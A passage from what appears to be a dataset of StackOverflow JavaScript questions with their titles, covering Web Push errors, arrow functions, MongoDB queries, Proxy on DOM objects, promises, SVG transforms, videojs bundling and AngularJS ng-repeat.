applicationServerKey : this._publicApplicationKey.publicKey , } ) ; } ) .then ( ( subscription ) = > { this._subscriptionUpdate ( subscription ) ; if ( subscription ) { this.sendPushMessage ( subscription ) ; } } ) .catch ( ( subscriptionErr ) = > { } ) ; } ) .catch ( ( ) = > { } ) ; } toBase64 ( arrayBuffer , start , end ) { start = start || 0 ; end = end || arrayBuffer.byteLength ; const partialBuffer = new Uint8Array ( arrayBuffer.slice ( start , end ) ) ; return btoa ( String.fromCharCode.apply ( null , partialBuffer ) ) ; } unsubscribeDevice ( ) { navigator.serviceWorker.ready.then ( ( serviceWorkerRegistration ) = > { return serviceWorkerRegistration.pushManager.getSubscription ( ) ; } ) .then ( ( pushSubscription ) = > { if ( ! pushSubscription ) { this._subscriptionUpdate ( null ) ; return ; } return pushSubscription.unsubscribe ( ) .then ( function ( successful ) { if ( ! successful ) { console.error ( 'We were unable to unregister from push ' ) ; } } ) ; } ) .then ( ( ) = > { this._subscriptionUpdate ( null ) ; } ) .catch ( ( err ) = > { console.error ( 'Error thrown while revoking push notifications . ' + 'Most likely because push was never registered ' , err ) ; } ) ; } sendPushMessage ( subscription ) { let payloadPromise = Promise.resolve ( null ) ; payloadPromise = JSON.parse ( JSON.stringify ( subscription ) ) ; const vapidPromise = EncryptionHelperFactory.createVapidAuthHeader ( this._publicApplicationKey , subscription.endpoint , 'http : //localhost:5333/ ' ) ; return Promise.all ( [ payloadPromise , vapidPromise , ] ) .then ( ( results ) = > { const payload = results [ 0 ] ; const vapidHeaders = results [ 1 ] ; let infoFunction = this.getWebPushInfo ; infoFunction = ( ) = > { return this.getWebPushInfo ( subscription , payload , vapidHeaders ) ; } ; const requestInfo = infoFunction ( ) ; this.sendRequestToProxyServer ( requestInfo ) ; } ) ; } getWebPushInfo ( subscription , payload , vapidHeaders ) { let body = null ; const headers = { } ; headers.TTL = 60 ; if ( payload ) { headers.Encryption = ` auth= $ { payload.keys.auth } ` ; headers [ 'Crypto-Key ' ] = ` p256dh= $ { payload.keys.p256dh } ` ; headers [ 'Content-Encoding ' ] = 'aesgcm ' ; } else { headers [ 'Content-Length ' ] = 0 ; } if ( vapidHeaders ) { headers.Authorization = ` WebPush $ { vapidHeaders.authorization } ` ; if ( headers [ 'Crypto-Key ' ] ) { headers [ 'Crypto-Key ' ] = ` $ { headers [ 'Crypto-Key ' ] } ; ` + ` p256ecdsa= $ { vapidHeaders.p256ecdsa } ` ; } else { headers [ 'Crypto-Key ' ] = ` p256ecdsa= $ { vapidHeaders.p256ecdsa } ` ; } } const response = { headers : headers , endpoint : subscription.endpoint , } ; if ( body ) { response.body = body ; } return response ; } sendRequestToProxyServer ( requestInfo ) { const fetchOptions = { method : 'post ' , } ; if ( requestInfo.body & & requestInfo.body instanceof ArrayBuffer ) { requestInfo.body = this.toBase64 ( requestInfo.body ) ; fetchOptions.body = requestInfo ; } fetchOptions.body = JSON.stringify ( requestInfo ) ; fetch ( 'http : //localhost:5333/usrh.ashx ' , fetchOptions ) .then ( function ( response ) { if ( response.status > = 400 & & response.status < 500 ) { console.log ( 'Failed web push response : ' , response , response.status ) ; throw new Error ( 'Failed to send push message via web push protocol ' ) ; } } ) .catch ( ( err ) = > { this.showErrorMessage ( 'Ooops Unable to Send a Push ' , err ) ; } ) ; } } Authorization : WebPush eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJhdWQiOiJodHRwcxxxxx Crypto-Key : p256dh=BBp90dwDWxxxxc1TfdBjFPqxxxxxwjO9fCip-K_Eebmg= ; p256ecdsa=BDd3_hVL9fZi9Yboxxxxxxoendpoint : https : //fcm.googleapis.com/fcm/send/cxxxxxxxxxxxxxxJRorOMHKLQ3gtT7Encryption : auth=9PzQZ1mut99qxxxxxxxxxxyw== Content-Encoding : aesgcm public static async Task < bool > SendNotificationByte ( string endpoint , string [ ] Keys , byte [ ] userSecret , byte [ ] data = null , int ttl = 0 , ushort padding = 0 , bool randomisePadding = false , string auth= '' '' ) { # region send HttpRequestMessage Request = new HttpRequestMessage ( HttpMethod.Post , endpoint ) ; Request.Headers.TryAddWithoutValidation ( `` Authorization '' , auth ) ; Request.Headers.Add ( `` TTL '' , ttl.ToString ( ) ) ; if ( data ! = null & & Keys [ 1 ] ! = null & & userSecret ! = null ) { EncryptionResult Package = EncryptMessage ( Decode ( Keys [ 1 ] ) , userSecret , data , padding , randomisePadding ) ; Request.Content = new ByteArrayContent ( Package.Payload ) ; Request.Content.Headers.ContentType = new MediaTypeHeaderValue ( `` application/octet-stream '' ) ; Request.Content.Headers.ContentLength = Package.Payload.Length ; Request.Content.Headers.ContentEncoding.Add ( `` aesgcm '' ) ; Request.Headers.Add ( `` Crypto-Key '' , `` dh= '' + Encode ( Package.PublicKey ) + '' ; '' +Keys [ 2 ] + '' = '' +Keys [ 3 ] ) ; Request.Headers.Add ( `` Encryption '' , `` salt= '' + Encode ( Package.Salt ) ) ; } using ( HttpClient HC = new HttpClient ( ) ) { HttpResponseMessage res = await HC.SendAsync ( Request ) .ConfigureAwait ( false ) ; if ( res.StatusCode == HttpStatusCode.Created ) return true ; else return false ; } # endregion } { StatusCode : 410 , ReasonPhrase : 'Gone ' , Version : 1.1 , Content : System.Net.Http.StreamContent , Headers : { Access-Control-Allow-Headers : content-encoding , encryption , crypto-key , ttl , encryption-key , content-type , authorization Access-Control-Allow-Methods : POST Access-Control-Allow-Origin : * Access-Control-Expose-Headers : location , www-authenticate Connection : keep-alive Cache-Control : max-age=86400 Date : Tue , 21 Feb 2017 08:19:03 GMT Server : nginx Content-Length : 179 Content-Type : application/json } } { StatusCode : 400 , ReasonPhrase : 'UnauthorizedRegistration ' , Version : 1.1 , Content : System.Net.Http.StreamContent , Headers : { X-Content-Type-Options : nosniff X-Frame-Options : SAMEORIGIN X-XSS-Protection : 1 ; mode=block Alt-Svc : quic= '' :443 '' ; ma=2592000 ; v= '' 35,34 '' Vary : Accept-Encoding Transfer-Encoding : chunked Accept-Ranges : none Cache-Control : max-age=0 , private Date : Tue , 21 Feb 2017 08:18:35 GMT Server : GSE Content-Type : text/html ; charset=UTF-8 Expires : Tue , 21 Feb 2017 08:18:35 GMT } }",Web Pushnotification 'UnauthorizedRegistration ' or 'Gone ' or 'Unauthorized'- subscription expires "JS : I have a simple function ( within a React component ) : But I want to fat arrowify it : except I get an error , because a { after a fat arrow means a block of code that returns undefined ( unless you explicitly return something ) . At least that 's what I thought at first . But I think this is being bound now to that fat arrow function and now this.props is undefined.So I try this : But I get the same error , this.props is undefined.So I guess I have 2 issues I 'm curious about . First , what 's the idiomatic way to return an object from a simple statement fat arrow function ? Second , how do I return an object that has a reference to the this object of the surrounding context ? getInitialState : function ( ) { return { text : this.props.text } } getInitialState : ( ) = > { text : this.props.text } getInitialState : ( ) = > new Object ( { text : this.props.text } )",How do you return an object with a fat arrow function without rebinding this ? JS : is there a way in ES6 to destruct a parameter and reference it by name as well ? can this be done in a single line in the function parameter list ? Something similar to Haskell 's @ in pattern matching . myfunction ( myparam ) { const { myprop } = myparam ; ... },destruct a parameter and keep reference to it too "JS : I am building an application in Angular 8 on the client side and NodeJS 12 with MongoDB 4 / Mongoose 5 on the server side.I have a query generated by the Angular query builder module in JSON format . The JSON object will be sent to the backend via a POST request.Question : How can the JSON query be converted into MongoDB operators to perform the database query ? Here 's an example of a simple query generated by the Query Builder plugin . Note the requirement for multiple levels of `` nested '' AND / OR conditions . { `` condition '' : `` and '' , `` rules '' : [ { `` field '' : `` Brief_D_Reactiedatum '' , `` operator '' : `` ! = '' , `` value '' : `` Eventtoets_Fn '' } , { `` condition '' : `` or '' , `` rules '' : [ { `` field '' : `` Alleen_AO '' , `` operator '' : `` = '' , `` value '' : `` Parkeerreden '' } ] } ] }",Convert JSON query conditions to MongoDB/Mongoose operations "JS : I 'm creating javascript object by doing something like : Then I assign a to another object.The second way of doing it is to create a new property directlyI try to read the objects in other functions . They behave differently , however , when i stringify the object , it looks ok. What 's the difference between the two properties i created ? btw is there any difference of the following object ? function field ( name , label ) { this.name = name this.label= label ; } var a = new field ( `` market '' , '' Mkt '' ) . object.newField = a ; object.2ndNewField = { name : `` market2 '' , label : '' Mkt2 '' } object.2ndNewField = { `` name '' : `` market2 '' , `` label '' : '' Mkt2 }",two ways of creating object in javascript "JS : I 'm using the FB javascript driver for the Graph API to allow a user to pick photos from their Facebook account . The first time they connect they 're prompted to login with : If successful , I cache the returned auth object and immediately fetch the user 's albums with : Using the returned object I iterate over the albums and display their cover_photo with : The first time a user logs in , all the cover photos are the question mark icons . However , if the user refreshes , or returns to the page , the app re-authenticates , recognizes the user is already logged in , and displays the proper cover_photo thumbnails.How can I get newly authenticated users to be able to see their cover photos ? FB.login ( function ( res ) { if ( res.status == 'connected ' ) { auth = res.authResponse ; // cache auth response getAlbums ( ) ; } } ) ; function getAlbums ( ) { FB.api ( '/me/albums ' , function ( res ) { albums = res.data ; } ) ; } https : //graph.facebook.com/ { { album.cover_photo } } /picture ? type=normal & access_token= { { auth.accessToken } }",Why does the Graph API return question mark cover photos for my albums on first login and proper images on subsequent logins ? "JS : I 've come across a bug/undocumented feature in IE 7 , 6.5 ( perhaps others ? ) . This does n't effect Opera ( 10.5x ) Firefox ( 3.5.x ) or likely any other browser ( this is all I 've tested so far ) . It does n't seem to be a documented ability of Javascript.By including a comment denoted by double slashes , and directly followed by double at signs ( // @ @ ) , the whole .js file is rendered useless . I 've checked several variations and here 's what I 've found ( where fail=JS is n't loaded , pass=JS is loaded ) : fail : // @ @ fail : // @ @ fail : // @ @ @ - any number of @ does n't seem to make a differencefail : // @ @ text - any content following does n't seem to helpfail : // @ hello @ - any content between @ does n't seem to helppass : // @ @ pass : // @ @ - space before first @ seems to preventpass : //hello @ @ - any content before first @ seems to preventpass : /* @ @ */ - only seems to apply to // comment styleIE 7 - just ignores the file , when trying to reference the content of that file you get an error along the lines of `` < function/object > is undefined '' . IE6.5 has the decency to report `` Invalid character '' which significantly improves your ability to find the problem ! And so the question : Does anyone know why this is happening and what 's going on ? You can work with it ( insert a space , use the other comment style etc ) but it 's worth noting the problem 's there , since can be time-consuming to debug.UPDATE : How to reproduce : Source : flaw.ie.htmlSource : flaw.ie.jsSource : turnon.cc.js Result : IE : page : WorldFF/Opera : Alert : Hello ! page : WorldPotential conclusion : Once conditional compilation is turned on in IE , be careful with comments that vaguely resemble the syntax . < html lang= '' en '' > < head > < title > Test < /title > < script src= '' turnon.cc.js '' > < /script > < script src= '' flaw.ie.js '' > < /script > < /head > < body > World < /body > < /html > // @ @ alert ( 'hello ' ) ; /* @ cc_on @ */",Multiple @ JS Comment bug in IE "JS : What I was trying to accomplish . I wanted to share a single canvas ( because what I 'm doing is very heavy ) and so I thought I 'd make a limited resource manager . You 'd ask it for the resource via promise , in this case a Canvas2DRenderingContext . It would wrap the context in a revokable proxy . When you 're finished you are required to call release which both returns the canvas to the limited resource manager so it can give it to someone else AND it revokes the proxy so the user ca n't accidentally use the resource again.Except when I make a proxy of a Canvas2DRenderingContext it fails.The code above generates Uncaught TypeError : Illegal invocation in Chrome and TypeError : 'get canvas ' called on an object that does not implement interface CanvasRenderingContext2D . in FirefoxIs that an expected limitation of Proxy or is it a bug ? note : of course there are other solutions . I can remove the proxy and just not worry about it . I can also wrap the canvas in some JavaScript object that just exposes the functions I need and proxy that . I 'm just more curious if this is supposed to work or not . This Mozilla blog post kind of indirectly suggests it 's supposed to be possbile since it actually mentions using a proxy with an HTMLElement if only to point out it would certainly fail if you called someElement.appendChild ( proxiedElement ) but given the simple code above I 'd expect it 's actually not possible to meanfully wrap any DOM elements or other native objects.Below is proof that Proxies work with plain JS objects . They work with class based ( as in the functions are on the prototype chain ) . And they do n't work with native objects.Also fails with the same error . where as they do n't with JavaScript objectsWell FWIW the solution I choose was to wrap the canvas in a small class that does the thing I was using it for . Advantage is it 's easier to test ( since I can pass in a mock ) and I can proxy that object no problem . Still , I 'd like to know Why does n't Proxy work for native object ? Do any of the reasons Proxy does n't work with native objects apply to situations with JavaScript objects ? Is it possible to get Proxy to work with native objects . const ctx = document.createElement ( 'canvas ' ) .getContext ( '2d ' ) ; const proxy = new Proxy ( ctx , { } ) ; // try to change the width of the canvas via the proxytest ( ( ) = > { proxy.canvas.width = 100 ; } ) ; // ERROR// try to translate the origin of via the proxytest ( ( ) = > { proxy.translate ( 1 , 2 ) ; } ) ; // ERRORfunction test ( fn ) { try { fn ( ) ; } catch ( e ) { console.log ( `` FAILED : '' , e , fn ) ; } } const img = document.createElement ( 'img ' ) const proxy = new Proxy ( img , { } ) ; console.log ( proxy.src ) ; function testNoOpProxy ( obj , msg ) { log ( msg , ' -- -- -- ' ) ; const proxy = new Proxy ( obj , { } ) ; check ( `` get property : '' , ( ) = > proxy.width ) ; check ( `` set property : '' , ( ) = > proxy.width = 456 ) ; check ( `` get property : '' , ( ) = > proxy.width ) ; check ( `` call fn on object : '' , ( ) = > proxy.getContext ( '2d ' ) ) ; } function check ( msg , fn ) { let success = true ; let r ; try { r = fn ( ) ; } catch ( e ) { success = false ; } log ( ' ' , success ? `` pass '' : `` FAIL '' , msg , r , fn ) ; } const test = { width : 123 , getContext : function ( ) { return `` test '' ; } , } ; class Test { constructor ( ) { this.width = 123 ; } getContext ( ) { return ` Test width = $ { this.width } ` ; } } const testInst = new Test ( ) ; const canvas = document.createElement ( 'canvas ' ) ; testNoOpProxy ( test , 'plain object ' ) ; testNoOpProxy ( testInst , 'class object ' ) ; testNoOpProxy ( canvas , 'native object ' ) ; function log ( ... args ) { const elem = document.createElement ( 'pre ' ) ; elem.textContent = [ ... args ] .join ( ' ' ) ; document.body.appendChild ( elem ) ; } pre { margin : 0 ; }","Is it possible to use Proxy with native browser objects ( HTMLElement , Canvas2DRenderingContext , ... ) ?" "JS : Refer to Rookie mistake # 4 : using `` deferred '' in Nolan Lawson 's article : We have a problem with promises ( btw a great post ! ) , I try not to use deferred style promises anymore . Recently I 've encountered a practical example that I ca n't figure out how to NOT code this in deferred way , so I need some advices.Here is the example , an angular factory : I hide some unrelated details ( eg . implementation of _modalScope ) , the core idea is : $ modal provide a ui widget which contains two button : Confirm and Cancel . When Confirm is been clicked , call _modalScope.confirm and resolve the deferred promise , otherwise reject the deferred promise by calling _modalScope.cancel when Cancel is been clicked.I tried to rewrite by using return $ q ( function ( resolve , reject ) { ... } ) , but I really do n't know how/when to call resolve and reject in this constructor , because the real logic is in the _modalScope.confirm/cancel method . I 'm struggled with this problem for days , really hope someone can help me.Thanks ! function ConfirmModal ( $ q , $ modal ) { return { showModal : function _showModal ( options ) { var _modal = $ modal ( options ) var deferred = $ q.defer ( ) _modalScope.confirm = function ( result ) { deferred.resolve ( result ) _modal.hide ( ) } _modalScope.cancel = function ( reason ) { deferred.reject ( reason ) _modal.hide ( ) } return deferred.promise } } }",How to convert this deferred style promise to ES6 style promise "JS : Let 's say I have an object that contains another objects as its properties likeWhen obj gets out of scope - do all nested objects destroyed implicitly or I need to iterate over them and delete explicitly ? var obj = { ' 1 ' : { ... } , '42 ' : { ... } } ;",Garbage collection : object properties "JS : First off I 'm a bit new to SVG . I just started working on a gantt-ish style timeline/roadmap for products supported in my area . Each item has a category , and subcategory , and then a number of versions . Each product ends up as its own separate mini-chart . The SVG is produced by d3.js , however the issue does n't seem to be related to the JavaScript.The example SVG is here : http : //plnkr.co/edit/ipqZIZODDN4lYKVeLt73Fundamentally there are two g groups that should be stacked on top of each other . In the example there is red and blue outline respectively . The blue group should be directly below the red group . To position the blue group I measured the height of the red group using getBBox . I then use that height and the transform attribute on blue group.Here are the relevant groups : Note : these groups are contained within numerous other groups , however no transformations ( with the exception of translate ( 0,0 ) ) are applied to these groups.In the example if you use the chrome inspector to measure the height of the red group , it is 121 pixels : So the 122 used for the translate for the blue group should be fine . However when rendered the red and blue groups overlap significantly : In fact if you adjust the numbers in the chrome inspector you need an offset of 143 pixels : transform= '' translate ( 0,143 ) '' , before the two groups align in the way I want them : Are the units for the translation not in pixels ? I do n't see any obvious reason why the 122 unit translation would n't move the group 122 pixels unless that was so . It does render the same way in IE11 so it must be something about SVGs or this markup that I 'm not aware of.Does anyone have any ideas ? UpdateThis morning I took some screenshots and measured the pixel values of the boxes . The blue box is indeed 121 pixels tall just as getBBox and the various browser inspectors I 've used suggest . I then measured the offset and found that what is supposed to be a 122 pixel translation down is , in fact only 100 pixels . Further if using the manually corrected translation ( which is 143 pixels down ) , the correct 121 pixel offset is measured : Issue appears in IE11 , IE11-Edge ( Spartan ) , Chrome 40 , and Firefox 36 . With every modern browser rendering nearly the same , this has to be an issue with the markup , right ? So where 's the missing 22 pixels going ? < g class= '' product '' transform= '' translate ( 0,0 ) '' style= '' outline : thin solid red '' > ... < /g > < g class= '' product '' transform= '' translate ( 0,122 ) '' style= '' outline : thin solid blue '' > ... < /g >",SVG Group Translation Issue - Wrong Units ? "JS : I am trying ( already few days ) to achieve very simple task : build one javascript file that bundle all necessarily parts to play video with Google IMA ads , but I am still facing some errors ( mostly player.ads is not function ) that are always somehow connected to wrongly registered plugins . I appreciate any suggestions . Thank you.EDIT : this issue was already reported , but marked as priority 3 and I have not time to wait . I believe that there is another solution.EDIT2 : It seems that guy that reported this issue in link above already come with suitable solution . Now it remains only to try it..if it will work , I post it as an answer.Entryfile : gulpfile.js : package.json : /*jshint esversion : 6 *//*jshint -W030 */let ima_script = document.createElement ( 'script ' ) ; ima_script.type = `` text/javascript '' ; ima_script.src = `` https : //imasdk.googleapis.com/js/sdkloader/ima3.js '' ; document.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( ima_script ) ; videojs = require ( 'video.js ' ) ; require ( 'videojs-contrib-ads ' ) ; require ( 'videojs-ima ' ) ; require ( 'videojs-youtube ' ) ; require ( 'videojs-contrib-hls ' ) ; Array.from ( document.getElementsByTagName ( 'video ' ) ) .forEach ( videojs ) ; ima_script.onload = function ( ) { google.ima.settings.setLocale ( 'cs ' ) ; let players = videojs.players ; for ( let id in players ) { ( players.hasOwnProperty ( id ) ? players [ id ] .ima ( { id : id , adTagUrl : 'https : //pubads.g.doubleclick.net/gampad/ads ? sz=640x480 & iu=/124319096/external/single_ad_samples & ciu_szs=300x250 & impl=s & gdfp_req=1 & env=vp & output=vast & unviewed_position_start=1 & cust_params=deployment % 3Ddevsite % 26sample_ct % 3Dlinear & correlator= ' , disableFlashAds : true } ) : '' ) ; } } ; var browserify = require ( 'browserify ' ) ; var babelify = require ( 'babelify ' ) ; var buffer = require ( 'vinyl-buffer ' ) ; var concat = require ( 'gulp-concat ' ) ; var css2js = require ( 'gulp-css-to-js ' ) ; var cssnano = require ( 'gulp-cssnano ' ) ; var del = require ( 'del ' ) ; var gulp = require ( 'gulp ' ) ; var ignore = require ( 'gulp-ignore ' ) ; var jshint = require ( 'gulp-jshint ' ) ; var path = require ( 'path ' ) ; var runSequence = require ( 'run-sequence ' ) ; var size = require ( 'gulp-size ' ) ; var mergeStream = require ( 'merge-stream ' ) ; var source = require ( 'vinyl-source-stream ' ) ; var sourcemaps = require ( 'gulp-sourcemaps ' ) ; var uglify = require ( 'gulp-uglify ' ) ; var distPath = path.join ( path.normalize ( '__dirname/../dist ' ) , '/ ' ) ; gulp.task ( 'build ' , function ( done ) { runSequence ( 'clean ' , 'lintjs ' , 'build-bundle ' , function ( error ) { if ( error ) { console.log ( error.message.red ) ; } else { console.log ( 'BUILD FINISHED SUCCESSFULLY'.green ) ; } done ( error ) ; } ) ; } ) ; gulp.task ( 'clean ' , function ( done ) { del.sync ( [ distPath ] , { force : true } ) ; done ( ) ; } ) ; gulp.task ( 'lintjs ' , function ( ) { return gulp.src ( [ 'gulpfile.js ' , 'src/**/*.js ' , 'build/**/*.js ' ] ) .pipe ( jshint ( ) ) .pipe ( jshint.reporter ( 'jshint-stylish ' ) ) ; } ) ; gulp.task ( 'build-bundle ' , function ( ) { var videoJS = browserify ( { entries : 'src/entryfile.js ' , //debug : true , paths : [ './node_modules ' ] , cache : { } , packageCache : { } } ) .transform ( babelify ) .bundle ( ) .pipe ( source ( 'outputfile.js ' ) ) .pipe ( buffer ( ) ) ; var videoCss = gulp.src ( 'node_modules/video.js/dist/video-js.css ' ) .pipe ( cssnano ( ) ) .pipe ( css2js ( ) ) ; var imaCss = gulp.src ( 'node_modules/video-ima/dist/videojs.ima.css ' ) .pipe ( cssnano ( ) ) .pipe ( css2js ( ) ) ; return mergeStream ( videoCss , imaCss , videoJS ) .pipe ( concat ( 'video.bundle.js ' ) ) /* .pipe ( sourcemaps.init ( { loadMaps : true } ) ) .pipe ( uglify ( { compress : false } ) ) // compress needs to be false otherwise it mess the sourcemaps .pipe ( sourcemaps.write ( ' . ' ) ) */ .pipe ( gulp.dest ( distPath ) ) .pipe ( size ( { showFiles : true , title : ' [ VideoJS+Plugin Bundle ] ' } ) ) ; } ) ; { `` name '' : `` videojs-ima-bundle '' , `` version '' : `` 0.1.0 '' , `` authors '' : [ `` John Wick < john.wick @ gmail.com > '' ] , `` description '' : `` video.js bundle '' , `` main '' : `` src/entryfile.js '' , `` repository '' : { } , `` keywords '' : [ `` vpaid '' , `` html5 '' , `` vast '' , `` videojs '' , `` js '' , `` video '' , `` iab '' , `` youtube '' ] , `` scripts '' : { `` gulp '' : `` gulp build '' } , `` author '' : `` John Wick < john.wick @ gmail.com > '' , `` license '' : `` MIT '' , `` devDependencies '' : { `` babel-core '' : `` * '' , `` babelify '' : `` * '' , `` browserify '' : `` ^13.0.0 '' , `` browserify-istanbul '' : `` ^0.2.1 '' , `` colors '' : `` ^1.1.0 '' , `` del '' : `` ^2.2.0 '' , `` gulp '' : `` ^3.9.0 '' , `` gulp-concat '' : `` ^2.6.1 '' , `` gulp-css-to-js '' : `` ^0.0.2 '' , `` gulp-cssnano '' : `` ^2.1.0 '' , `` gulp-ignore '' : `` ^2.0.2 '' , `` gulp-jshint '' : `` ^2.0.0 '' , `` gulp-size '' : `` ^2.0.0 '' , `` gulp-sourcemaps '' : `` ^1.6.0 '' , `` gulp-uglify '' : `` ^1.2.0 '' , `` jshint '' : `` ^2.9.1 '' , `` jshint-stylish '' : `` ^2.1.0 '' , `` merge-stream '' : `` ^1.0.1 '' , `` run-sequence '' : `` ^1.1.0 '' , `` uglifyify '' : `` ^3.0.1 '' , `` video.js '' : `` 6.x '' , `` videojs-contrib-ads '' : `` * '' , `` videojs-contrib-hls '' : `` * '' , `` videojs-ima '' : `` ^1.0.3 '' , `` videojs-youtube '' : `` * '' , `` vinyl-buffer '' : `` ^1.0.0 '' , `` vinyl-source-stream '' : `` ^1.1.0 '' } }",Bundle videojs with videojs-ima plugin JS : Does any one know about optimization effects of passing in a variable via function arguments versus having the variable available via a closure ? It seems like passing in variables via function arguments would be faster since objects are copied by reference ( so fast copy time ) and climbing the scope environments of the function requires checking the environment at each level . Here 's the gist of what I meanversusWhich in theory performs faster ? a = 5 ; b = function ( ) { alert ( a ) ; } b ( ) ; a = 5 ; b = function ( c ) { alert ( c ) ; } b ( a ) ;,Performance of Variables in a Closure versus as Function Arguments "JS : I would like to run some code right after a certain set of elements are attached . jQuery.live ( ) allows you to bind event handlers to elements , even if they are created later . But AFAIK there is no suitable method to do something like the following : How can I accomplish this ? EDIT : For clarification ; I would like to run an animation on a newly created element . Aside from the fact animating is useless before appending first , in some browsers backgroundColor property is n't inherited from the CSS class until it 's attached to DOM . This causes my animation code to break.So I would like to create this element , somehow apply the animation to run once it 's attached and then return it . $ ( `` some selector '' ) .live ( `` attach '' , function ( ) { $ ( this ) .whatever ( ) ; } ) ;",How to run code when elements are attached like jQuery 's live ( ) do with events ? "JS : I 'm a bit confused at the moment regarding how to have a more maintainable javascript architecture . I might be out of the track , but I would say that almost 50 % of my code involves the DOM hence use my base library ( jQuery ) .I 've checked [ 1 ] Nicholas Zakas ' scalable application architecture design : http : //developer.yahoo.com/yui/theater/video.php ? v=zakas-architecture and [ 2 ] Addy Osmani Patterns For Large-Scale JavaScript Application Architecture http : //addyosmani.com/largescalejavascript/ .I have a one page application style , with lots of content being fetched via ajax and DOM elements being added dynamically . My main question is : How can I separate the code into small re-usable blocks if I 'm using jQuery ( or any other base library ) to manipulate the DOM.Let 's just pick a task list module for example . I understand that the module could look like this : Where should the DOM elements events registration be written , the ajax call to save , load , or delete a task , appending a new task to a DOM element , etc . I have no problem committing to having jQuery on the module as a dependency , but if there is a better way I think I missed it from the two resources above and I would love to know it.I just want to have a more elegant way of maintaining the growing javascript because I 'm tired of spaghetti ; ) Thanks for your time ! var TaskList = function ( ) { addTask = function ( ) { ... } ; removeTask = function ( ) { ... } ; return { addTask : addTask , removeTask : removeTask } } ( ) ;",Where to put DOM interaction on scalable javascript architecture "JS : I have a html where I can filter based on their data but I do n't know how to combine it.This is my script and the search name is working already but the radio button isActive still not working and need to add on my filter . I do n't know how to and it on filter.so when I choose all = 2 , then I will see all people , active = 1 I will see the active , then inActive = 0 to see the inactive people . $ ( 'input [ type=text ] [ name=search_name ' ) .on ( 'input ' , function ( e ) { e.stopPropagation ( ) ; e.preventDefault ( ) ; var fullname = $ ( this ) .val ( ) ; var isActive = $ ( 'input [ type=radio ] [ name=isActive ] ' ) .val ( ) ; searchStudent ( fullname , isActive ) ; } ) ; $ ( 'input [ type=radio ] [ name=isActive ] ' ) .on ( 'change ' , function ( e ) { e.stopPropagation ( ) ; e.preventDefault ( ) ; var fullname = $ ( 'input [ type=text ] [ name=search_name ' ) .val ( ) ; var isActive = $ ( this ) .val ( ) ; searchStudent ( fullname , isActive ) ; } ) ; function searchStudent ( fullname , isActive ) { $ ( `` ul li '' ) .each ( function ( ) { // I do n't know how to add the isActive if ( $ ( this ) .data ( 'fullname ' ) .search ( new RegExp ( fullname , `` i '' ) ) < 0 ) { $ ( this ) .hide ( ) ; } else { $ ( this ) .show ( ) ; } } ) ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div > < input type= '' text '' name= '' search_name '' > < span > < input type= '' radio '' checked= '' '' autocomplete= '' off '' value= '' 2 '' name= '' isActive '' > All < /span > < span > < input type= '' radio '' autocomplete= '' off '' value= '' 1 '' name= '' isActive '' > Active < /span > < span > < input type= '' radio '' autocomplete= '' off '' value= '' 0 '' name= '' isActive '' > Inactive < /span > < /div > < ul > < li data-fullname= '' Jerald Patalinghug '' data-firstname= '' Jerald '' data-lastname= '' Patalinghug '' data-isActive= '' 1 '' > Jerald Patalinghug < /li > < li data-fullname= '' Eldrin Gok-ong '' data-firstname= '' Eldrin '' data-lastname= '' Gok-ong '' data-isActive= '' 1 '' > Eldrin Gok-ong < /li > < li data-fullname= '' Uelmar Ortega '' data-firstname= '' Uelmar '' data-lastname= '' Ortega '' data-isActive= '' 0 '' > Uelmar Ortega < /li > < /ul >",How to multiple filter list using jquery/javascript "JS : hi is there anyone can show me ho to reproduce this css3 effect with jquery using some delay/animation speed ? JSFIDDLE .element : hover { -moz-transform : scale ( 1.3 ) rotate ( 0deg ) translate ( 0px , 0px ) skew ( 0deg , 0deg ) ; -webkit-transform : scale ( 1.3 ) rotate ( 0deg ) translate ( 0px , 0px ) skew ( 0deg , 0deg ) ; -o-transform : scale ( 1.3 ) rotate ( 0deg ) translate ( 0px , 0px ) skew ( 0deg , 0deg ) ; -ms-transform : scale ( 1.3 ) rotate ( 0deg ) translate ( 0px , 0px ) skew ( 0deg , 0deg ) ; transform : scale ( 1.3 ) rotate ( 0deg ) translate ( 0px , 0px ) skew ( 0deg , 0deg ) ; z-index:9999 ; }",Reproduce css3 transformation with jquery "JS : Values in onSubmit handler is always an empty object . How do I pass some values to it so that I can test the append ? test : Container : Component : const store = createStore ( combineReducers ( { form : formReducer } ) ) ; const setup = ( newProps ) = > { const props = { ... newProps , } ; expect.spyOn ( store , 'dispatch ' ) ; const wrapper = mount ( < Provider store= { store } > < RegisterFormContainer { ... props } / > < /Provider > , ) ; return { wrapper , props , } ; } ; describe ( 'RegisterFormContainer.integration ' , ( ) = > { let wrapper ; it ( 'should append form data ' , ( ) = > { ( { wrapper } = setup ( ) ) ; const values = { userName : 'TestUser ' , password : 'TestPassword ' , } ; expect.spyOn ( FormData.prototype , 'append ' ) ; // Passing values as second argument DOES N'T work , it 's just an empty object wrapper.find ( 'form ' ) .simulate ( 'submit ' , values ) ; Object.keys ( values ) .forEach ( ( key ) = > { expect ( FormData.prototype.append ) .toHaveBeenCalledWith ( key , values [ key ] ) ) ; } ) ; expect ( store.dispatch ) .toHaveBeenCalledWith ( submit ( ) ) ; } ) ; } ) ; const mapDispatchToProps = dispatch = > ( { // values empty object onSubmit : ( values ) = > { const formData = new FormData ( ) ; Object.keys ( values ) .forEach ( ( key ) = > { formData.append ( key , values [ key ] ) ; } ) ; return dispatch ( submit ( formData ) ) ; } , } ) ; export default compose ( connect ( null , mapDispatchToProps ) , reduxForm ( { form : 'register ' , fields : [ '__RequestVerificationToken ' ] , validate : userValidation , } ) , ) ( RegisterForm ) ; const Form = ( { error , handleSubmit } ) = > ( < form onSubmit= { handleSubmit } action= '' '' > < Field className= { styles.input } name= '' username '' component= { FormInput } placeholder= '' Username '' / > < button type= '' submit '' > Register < /button > < /form > ) ;",Redux form onSubmit values empty object in testing "JS : When defining an ng-repeat directive to iterate over an array , the syntax specifies ng-repeat= '' friend in friends '' , and then within the template you use the interoplation operator like so { { friend.name } } .Is it possible to have the properties assigned to the current item scope , rather than a variable in it ? So I could call just { { name } } instead of { { friend.name } } ? The reason being is that my directive is being used in the scope of two different templates - for example I might have a directive `` userActions '' that is used in both a repeater , and also inside an unrelated template where { { friend.name } } does n't make sense . I would like to avoid artificially manufacturing the friend object where it does n't have a semantic meaning.My use case is something like this : I have a grid that renders blocks of various types . Some psuedo code : I also have a friend page , that contains 